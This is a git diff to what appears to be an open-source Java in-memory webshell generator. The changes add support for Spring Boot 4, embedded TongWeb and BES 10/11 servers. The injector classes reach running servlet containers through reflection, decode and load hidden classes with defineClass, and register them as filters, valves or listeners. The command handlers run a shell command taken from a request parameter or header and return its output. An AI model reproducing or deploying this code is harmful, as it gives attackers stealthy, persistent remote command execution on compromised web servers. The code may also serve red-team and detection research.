diff --git a/.github/workflows/memshell-integration-test.yml b/.github/workflows/memshell-integration-test.yml index 5f63ecdb..13e38330 100644 --- a/.github/workflows/memshell-integration-test.yml +++ b/.github/workflows/memshell-integration-test.yml @@ -44,9 +44,9 @@ jobs: - middleware: "weblogic" depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war" - middleware: "springwebmvc" - depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar" + depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar :vul:vul-springboot4:bootJar" - middleware: "springwebflux" - depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar" + depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar :vul:vul-springboot4-webflux:bootJar" - middleware: "xxljob" depend_tasks: "" - middleware: "struts2" diff --git a/.github/workflows/probe-integration-test.yml b/.github/workflows/probe-integration-test.yml index 2fdd6b59..8feb509a 100644 --- a/.github/workflows/probe-integration-test.yml +++ b/.github/workflows/probe-integration-test.yml @@ -41,7 +41,9 @@ jobs: - middleware: "weblogic" depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war" - middleware: "springwebmvc" - depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar" + depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar :vul:vul-springboot4:bootJar" + - middleware: "springwebflux" + depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar :vul:vul-springboot4-webflux:bootJar" - middleware: "struts2" depend_tasks: ":vul:vul-struts2:war" runs-on: ubuntu-22.04 diff --git a/.gitignore b/.gitignore index 753777ed..644c7f1e 100644 --- a/.gitignore +++ b/.gitignore @@ -61,4 +61,6 @@ integration-test/**/apusic integration-test/**/bes integration-test/**/tongweb integration-test/**/inforsuite -integration-test/**/primeton \ No newline at end of file +integration-test/**/primeton +vul/vul-springboot3-bes +vul/vul-springboot3-tongweb \ No newline at end of file diff --git a/Dockerfile b/Dockerfile index 3d41ea28..1c5b61e6 100644 --- a/Dockerfile +++ b/Dockerfile @@ -17,6 +17,7 @@ ENV VITE_APP_API_URL=${CONTEXT_PATH} \ VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/source.config.ts /usr/src/web/ +COPY --from=source /usr/src/web/vendor/cfr /usr/src/web/vendor/cfr RUN bun install --frozen-lockfile diff --git a/build.gradle.kts b/build.gradle.kts index 9bdc0b37..ab2aeec1 100644 --- a/build.gradle.kts +++ b/build.gradle.kts @@ -9,7 +9,7 @@ idea { } } -version = "2.9.0" +version = "2.10.0-SNAPSHOT" tasks.register("publishAllToMavenCentral") { dependsOn(":memshell-party-common:publishToMavenCentral") diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java index a9395fcd..1435850f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java @@ -23,6 +23,10 @@ protected ByteBuddyShellGenerator(ShellConfig shellConfig, T shellToolConfig) { protected abstract DynamicType.Builder getBuilder(); + protected int getTargetJreVersion() { + return shellConfig.getTargetJreVersion(); + } + protected byte[] postProcessBytes(byte[] classBytes) { return classBytes; } @@ -43,7 +47,7 @@ public byte[] getBytes() { builder = ProcessorRegistry.applyBuilderProcessors(builder, shellConfig, shellToolConfig) .name(shellClassName) - .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())); + .visit(new TargetJreVersionVisitorWrapper(getTargetJreVersion())); try (DynamicType.Unloaded unloaded = builder.make()) { byte[] bytes = postProcessBytes(unloaded.getBytes()); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/CustomShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/CustomShellGenerator.java index a263228e..2e2b7347 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/CustomShellGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/CustomShellGenerator.java @@ -7,6 +7,10 @@ import net.bytebuddy.dynamic.ClassFileLocator; import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.jar.asm.ClassReader; +import net.bytebuddy.jar.asm.ClassVisitor; +import net.bytebuddy.jar.asm.Label; +import net.bytebuddy.jar.asm.MethodVisitor; +import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.pool.TypePool; import org.apache.commons.lang3.StringUtils; @@ -17,6 +21,7 @@ * @since 2025/3/18 */ public class CustomShellGenerator extends ByteBuddyShellGenerator { + private boolean containsSubroutines; public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) { super(shellConfig, customConfig); @@ -27,6 +32,7 @@ protected DynamicType.Builder getBuilder() { String shellClassBase64 = shellToolConfig.getShellClassBase64(); byte[] classBytes = Base64.getDecoder().decode(shellClassBase64); ClassReader classReader = new ClassReader(classBytes); + containsSubroutines = containsSubroutines(classReader); String className = classReader.getClassName().replace('/', '.'); if (StringUtils.isBlank(shellToolConfig.getShellClassName())) { shellToolConfig.setShellClassName(className); @@ -43,4 +49,38 @@ protected DynamicType.Builder getBuilder() { return new ByteBuddy() .redefine(typeDescription, compoundLocator); } + + @Override + protected int getTargetJreVersion() { + // Byte Buddy cannot emit a class version newer than Java 5 when the + // source bytecode contains legacy jsr/ret subroutines. Keep such + // custom classes at Java 5; Java 6+ runtimes can load them as well. + return containsSubroutines ? Opcodes.V1_5 : super.getTargetJreVersion(); + } + + private static boolean containsSubroutines(ClassReader classReader) { + final boolean[] found = {false}; + classReader.accept(new ClassVisitor(Opcodes.ASM9) { + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + return new MethodVisitor(Opcodes.ASM9) { + @Override + public void visitJumpInsn(int opcode, Label label) { + if (opcode == Opcodes.JSR) { + found[0] = true; + } + } + + @Override + public void visitVarInsn(int opcode, int var) { + if (opcode == Opcodes.RET) { + found[0] = true; + } + } + }; + } + }, ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES); + return found[0]; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/ValveBuilderModifier.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/ValveBuilderModifier.java index 9cfd51c7..31ac9fda 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/ValveBuilderModifier.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/ValveBuilderModifier.java @@ -45,6 +45,7 @@ public DynamicType.Builder process(DynamicType.Builder builder, ShellConfi public static final String TONGWEB6_VALVE_PACKAGE = "com.tongweb.web.thor"; public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina"; public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server"; + public static final String TONGWEB_EMBEDDED_VALVE_PACKAGE = "com.tongweb.container"; public static DynamicType.Builder modifier(DynamicType.Builder builder, AbstractServer shell, String serverVersion) { String packageName = null; @@ -53,7 +54,7 @@ public static DynamicType.Builder modifier(DynamicType.Builder builder, Ab } if (shell instanceof TongWeb) { if (serverVersion == null) { - throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8'] for shellConfig.serverVersion"); + throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8', '7.E'] for shellConfig.serverVersion"); } switch (serverVersion) { case "6": @@ -65,8 +66,11 @@ public static DynamicType.Builder modifier(DynamicType.Builder builder, Ab case "8": packageName = TONGWEB8_VALVE_PACKAGE; break; + case "7.E": + packageName = TONGWEB_EMBEDDED_VALVE_PACKAGE; + break; default: - throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8'] for shellConfig.serverVersion"); + throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8', '7.E'] for shellConfig.serverVersion"); } } if (StringUtils.isNotBlank(packageName)) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java index af82f3bb..0dea4136 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java @@ -85,10 +85,27 @@ public Set getContext() throws Exception { for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); - Collection values = childrenMap.values(); - for (Object value : values) { - Map children = (Map) getFieldValue(value, "children"); - contexts.addAll(children.values()); + for (Object value : childrenMap.values()) { + contexts.addAll(((Map) getFieldValue(value, "children")).values()); + } + } else if (thread.getName().contains("AppServer-utility")) { + // BES 10 / BES 11: AppServer-utility thread fallback. + // BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both. + Object target = getFieldValue(thread, "target"); + try { + target = getFieldValue(target, "wrappedRunnable"); + } catch (Throwable ignored) { + } + Iterable workQueue = (Iterable) getFieldValue(getFieldValue(target, "this$0"), "workQueue"); + for (Object task : workQueue) { + Object runnable = getFieldValue(getFieldValue(task, "callable"), "task"); + if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) { + continue; + } + Map childrenMap = (Map) getFieldValue(getFieldValue(runnable, "this$0"), "children"); + for (Object host : childrenMap.values()) { + contexts.addAll(((Map) getFieldValue(host, "children")).values()); + } } } else if (thread.getContextClassLoader() != null) { String name = thread.getContextClassLoader().getClass().getSimpleName(); @@ -102,47 +119,6 @@ public Set getContext() throws Exception { } } } - // BES 10 / BES 11: AppServer-utility thread fallback. - // BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both. - if (contexts.isEmpty()) { - for (Thread thread : threads) { - try { - if (!thread.getName().contains("AppServer-utility")) { - continue; - } - Object target = getFieldValue(thread, "target"); - Object realTarget = target; - try { - realTarget = getFieldValue(target, "wrappedRunnable"); - } catch (Throwable ignored) { - } - Iterable workQueue = (Iterable) getFieldValue(getFieldValue(realTarget, "this$0"), "workQueue"); - for (Object task : workQueue) { - if (task == null) { - continue; - } - try { - Object callable = getFieldValue(task, "callable"); - Object runnable; - try { - runnable = getFieldValue(callable, "task"); - } catch (Throwable ignored) { - runnable = callable; - } - if (runnable == null || !runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) { - continue; - } - Object engine = getFieldValue(runnable, "this$0"); - for (Object host : ((Map) getFieldValue(engine, "children")).values()) { - contexts.addAll(((Map) getFieldValue(host, "children")).values()); - } - } catch (Throwable ignored) { - } - } - } catch (Throwable ignored) { - } - } - } return contexts; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java index 31e43a57..878e28b2 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java @@ -77,10 +77,27 @@ public Set getContext() throws Exception { for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); - Collection values = childrenMap.values(); - for (Object value : values) { - Map children = (Map) getFieldValue(value, "children"); - contexts.addAll(children.values()); + for (Object value : childrenMap.values()) { + contexts.addAll(((Map) getFieldValue(value, "children")).values()); + } + } else if (thread.getName().contains("AppServer-utility")) { + // BES 10 / BES 11: AppServer-utility thread fallback. + // BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both. + Object target = getFieldValue(thread, "target"); + try { + target = getFieldValue(target, "wrappedRunnable"); + } catch (Throwable ignored) { + } + Iterable workQueue = (Iterable) getFieldValue(getFieldValue(target, "this$0"), "workQueue"); + for (Object task : workQueue) { + Object runnable = getFieldValue(getFieldValue(task, "callable"), "task"); + if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) { + continue; + } + Map childrenMap = (Map) getFieldValue(getFieldValue(runnable, "this$0"), "children"); + for (Object host : childrenMap.values()) { + contexts.addAll(((Map) getFieldValue(host, "children")).values()); + } } } else if (thread.getContextClassLoader() != null) { String name = thread.getContextClassLoader().getClass().getSimpleName(); @@ -94,47 +111,6 @@ public Set getContext() throws Exception { } } } - // BES 10 / BES 11: AppServer-utility thread fallback. - // BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both. - if (contexts.isEmpty()) { - for (Thread thread : threads) { - try { - if (!thread.getName().contains("AppServer-utility")) { - continue; - } - Object target = getFieldValue(thread, "target"); - Object realTarget = target; - try { - realTarget = getFieldValue(target, "wrappedRunnable"); - } catch (Throwable ignored) { - } - Iterable workQueue = (Iterable) getFieldValue(getFieldValue(realTarget, "this$0"), "workQueue"); - for (Object task : workQueue) { - if (task == null) { - continue; - } - try { - Object callable = getFieldValue(task, "callable"); - Object runnable; - try { - runnable = getFieldValue(callable, "task"); - } catch (Throwable ignored) { - runnable = callable; - } - if (runnable == null || !runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) { - continue; - } - Object engine = getFieldValue(runnable, "this$0"); - for (Object host : ((Map) getFieldValue(engine, "children")).values()) { - contexts.addAll(((Map) getFieldValue(host, "children")).values()); - } - } catch (Throwable ignored) { - } - } - } catch (Throwable ignored) { - } - } - } return contexts; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java index 21a25a26..79c2b224 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java @@ -76,10 +76,27 @@ public Set getContext() throws Exception { for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); - Collection values = childrenMap.values(); - for (Object value : values) { - Map children = (Map) getFieldValue(value, "children"); - contexts.addAll(children.values()); + for (Object value : childrenMap.values()) { + contexts.addAll(((Map) getFieldValue(value, "children")).values()); + } + } else if (thread.getName().contains("AppServer-utility")) { + // BES 10 / BES 11: AppServer-utility thread fallback. + // BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both. + Object target = getFieldValue(thread, "target"); + try { + target = getFieldValue(target, "wrappedRunnable"); + } catch (Throwable ignored) { + } + Iterable workQueue = (Iterable) getFieldValue(getFieldValue(target, "this$0"), "workQueue"); + for (Object task : workQueue) { + Object runnable = getFieldValue(getFieldValue(task, "callable"), "task"); + if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) { + continue; + } + Map childrenMap = (Map) getFieldValue(getFieldValue(runnable, "this$0"), "children"); + for (Object host : childrenMap.values()) { + contexts.addAll(((Map) getFieldValue(host, "children")).values()); + } } } else if (thread.getContextClassLoader() != null) { String name = thread.getContextClassLoader().getClass().getSimpleName(); @@ -93,47 +110,6 @@ public Set getContext() throws Exception { } } } - // BES 10 / BES 11: AppServer-utility thread fallback. - // BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both. - if (contexts.isEmpty()) { - for (Thread thread : threads) { - try { - if (!thread.getName().contains("AppServer-utility")) { - continue; - } - Object target = getFieldValue(thread, "target"); - Object realTarget = target; - try { - realTarget = getFieldValue(target, "wrappedRunnable"); - } catch (Throwable ignored) { - } - Iterable workQueue = (Iterable) getFieldValue(getFieldValue(realTarget, "this$0"), "workQueue"); - for (Object task : workQueue) { - if (task == null) { - continue; - } - try { - Object callable = getFieldValue(task, "callable"); - Object runnable; - try { - runnable = getFieldValue(callable, "task"); - } catch (Throwable ignored) { - runnable = callable; - } - if (runnable == null || !runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) { - continue; - } - Object engine = getFieldValue(runnable, "this$0"); - for (Object host : ((Map) getFieldValue(engine, "children")).values()) { - contexts.addAll(((Map) getFieldValue(host, "children")).values()); - } - } catch (Throwable ignored) { - } - } - } catch (Throwable ignored) { - } - } - } return contexts; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java index d5c0affb..d17e2139 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java @@ -1,6 +1,5 @@ package com.reajason.javaweb.memshell.injector.springwebflux; -import org.springframework.util.Base64Utils; import org.springframework.web.reactive.function.server.*; import org.springframework.web.reactive.function.server.support.RouterFunctionMapping; @@ -63,7 +62,7 @@ private Object getShell() throws Exception { try { interceptor = classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { - byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String())); + byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerMethodInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerMethodInjector.java index 94c2474d..0b813b79 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerMethodInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerMethodInjector.java @@ -1,6 +1,5 @@ package com.reajason.javaweb.memshell.injector.springwebflux; -import org.springframework.util.Base64Utils; import org.springframework.web.method.HandlerMethod; import org.springframework.web.reactive.result.method.RequestMappingInfo; import org.springframework.web.reactive.result.method.annotation.RequestMappingHandlerMapping; @@ -63,7 +62,7 @@ private Object getShell() throws Exception { try { interceptor = classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { - byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String())); + byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxWebFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxWebFilterInjector.java index 6d4f8b69..c4752066 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxWebFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxWebFilterInjector.java @@ -1,6 +1,5 @@ package com.reajason.javaweb.memshell.injector.springwebflux; -import org.springframework.util.Base64Utils; import org.springframework.web.server.WebFilter; import org.springframework.web.server.handler.DefaultWebFilterChain; import org.springframework.web.server.handler.FilteringWebHandler; @@ -58,7 +57,7 @@ private Object getShell(Object context) throws Exception { try { return classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { - byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String())); + byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentInjector.java index 801edca6..bda6e8ee 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentInjector.java @@ -17,7 +17,8 @@ public class TongWebContextValveAgentInjector implements ClassFileTransformer { private static final String[] TARGET_CLASSES = new String[]{ "com/tongweb/web/thor/core/StandardContextValve", "com/tongweb/catalina/core/StandardContextValve", - "com/tongweb/server/core/StandardContextValve" + "com/tongweb/server/core/StandardContextValve", + "com/tongweb/container/core/StandardContextValve" }; private static final String TARGET_METHOD_NAME = "invoke"; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentInjector.java index 9b3140a4..7945abe3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentInjector.java @@ -17,7 +17,8 @@ public class TongWebFilterChainAgentInjector implements ClassFileTransformer { private static final String[] TARGET_CLASSES = new String[]{ "com/tongweb/web/thor/core/ApplicationFilterChain", "com/tongweb/catalina/core/ApplicationFilterChain", - "com/tongweb/server/core/ApplicationFilterChain" + "com/tongweb/server/core/ApplicationFilterChain", + "com/tongweb/container/core/ApplicationFilterChain" }; private static final String TARGET_METHOD_NAME = "doFilter"; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java index 52443cfa..3e6a5eab 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java @@ -167,11 +167,19 @@ public void inject(Object context, Object filter) throws Exception { filterMapClass = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap"); filterMap = filterMapClass.newInstance(); } catch (Exception e) { - // tongweb 8 - constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; - filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance(); - filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap"); - filterMap = filterMapClass.newInstance(); + try { + // tongweb 8 + constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; + filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance(); + filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap"); + filterMap = filterMapClass.newInstance(); + } catch (Exception e1) { + // tongweb embedded (spring boot) + constructor = contextClassLoader.loadClass("com.tongweb.container.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; + filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance(); + filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap"); + filterMap = filterMapClass.newInstance(); + } } } invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java index 7562ba40..47779166 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java @@ -141,8 +141,13 @@ public void inject(Object context, Object valve) throws Exception { // tongweb6 valveClass = contextClassLoader.loadClass("com.tongweb.web.thor.Valve"); } catch (ClassNotFoundException e1) { - // tongweb8 - valveClass = contextClassLoader.loadClass("com.tongweb.server.Valve"); + try { + // tongweb8 + valveClass = contextClassLoader.loadClass("com.tongweb.server.Valve"); + } catch (ClassNotFoundException e2) { + // tongweb embedded (spring boot) + valveClass = contextClassLoader.loadClass("com.tongweb.container.Valve"); + } } } invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb.java index ee18c7c7..7e0441cd 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb.java @@ -19,8 +19,11 @@ public Class getListenerInterceptor() { public InjectorMapping getShellInjectorMapping() { return InjectorMapping.builder() .addInjector(LISTENER, TongWebListenerInjector.class) + .addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class) .addInjector(FILTER, TongWebFilterInjector.class) + .addInjector(JAKARTA_FILTER, TongWebFilterInjector.class) .addInjector(VALVE, TongWebValveInjector.class) + .addInjector(JAKARTA_VALVE, TongWebValveInjector.class) .addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class) .build(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerFunction.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerFunction.java index fc45fac7..b4ebdfdd 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerFunction.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerFunction.java @@ -4,6 +4,7 @@ import org.springframework.web.reactive.function.server.ServerRequest; import org.springframework.web.reactive.function.server.ServerResponse; import reactor.core.publisher.Mono; +import reactor.core.scheduler.Schedulers; import java.io.InputStream; import java.util.Optional; @@ -26,17 +27,21 @@ public Mono handle(ServerRequest request) { if (p == null || p.isEmpty()) { p = request.headers().firstHeader(paramName); } - String result = ""; - try { - if (p != null) { - String param = getParam(p); - InputStream inputStream = getInputStream(param); - result = new Scanner(inputStream).useDelimiter("\\A").next(); + final String paramValue = p; + Mono resultMono = Mono.fromCallable(() -> { + String result = ""; + try { + if (paramValue != null) { + String param = getParam(paramValue); + InputStream inputStream = getInputStream(param); + result = new Scanner(inputStream).useDelimiter("\\A").next(); + } + } catch (Throwable e) { + e.printStackTrace(); } - } catch (Throwable e) { - e.printStackTrace(); - } - return ServerResponse.ok().body(Mono.just(result), String.class); + return result; + }).subscribeOn(Schedulers.boundedElastic()); + return ServerResponse.ok().body(resultMono, String.class); } private String getParam(String param) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerMethod.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerMethod.java index 67bd0a9b..b2331637 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerMethod.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerMethod.java @@ -2,6 +2,8 @@ import org.springframework.http.ResponseEntity; import org.springframework.web.server.ServerWebExchange; +import reactor.core.publisher.Mono; +import reactor.core.scheduler.Schedulers; import java.io.InputStream; import java.util.Scanner; @@ -18,17 +20,21 @@ public ResponseEntity invoke(ServerWebExchange exchange) { if (p == null || p.isEmpty()) { p = exchange.getRequest().getHeaders().getFirst(paramName); } - String result = ""; - try { - if (p != null) { - String param = getParam(p); - InputStream inputStream = getInputStream(param); - result = new Scanner(inputStream).useDelimiter("\\A").next(); + final String paramValue = p; + Mono resultMono = Mono.fromCallable(() -> { + String result = ""; + try { + if (paramValue != null) { + String param = getParam(paramValue); + InputStream inputStream = getInputStream(param); + result = new Scanner(inputStream).useDelimiter("\\A").next(); + } + } catch (Throwable e) { + e.printStackTrace(); } - } catch (Throwable e) { - e.printStackTrace(); - } - return ResponseEntity.ok(result); + return result; + }).subscribeOn(Schedulers.boundedElastic()); + return ResponseEntity.ok(resultMono); } private String getParam(String param) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebFilter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebFilter.java index 176c185a..bd0c6146 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebFilter.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebFilter.java @@ -5,6 +5,7 @@ 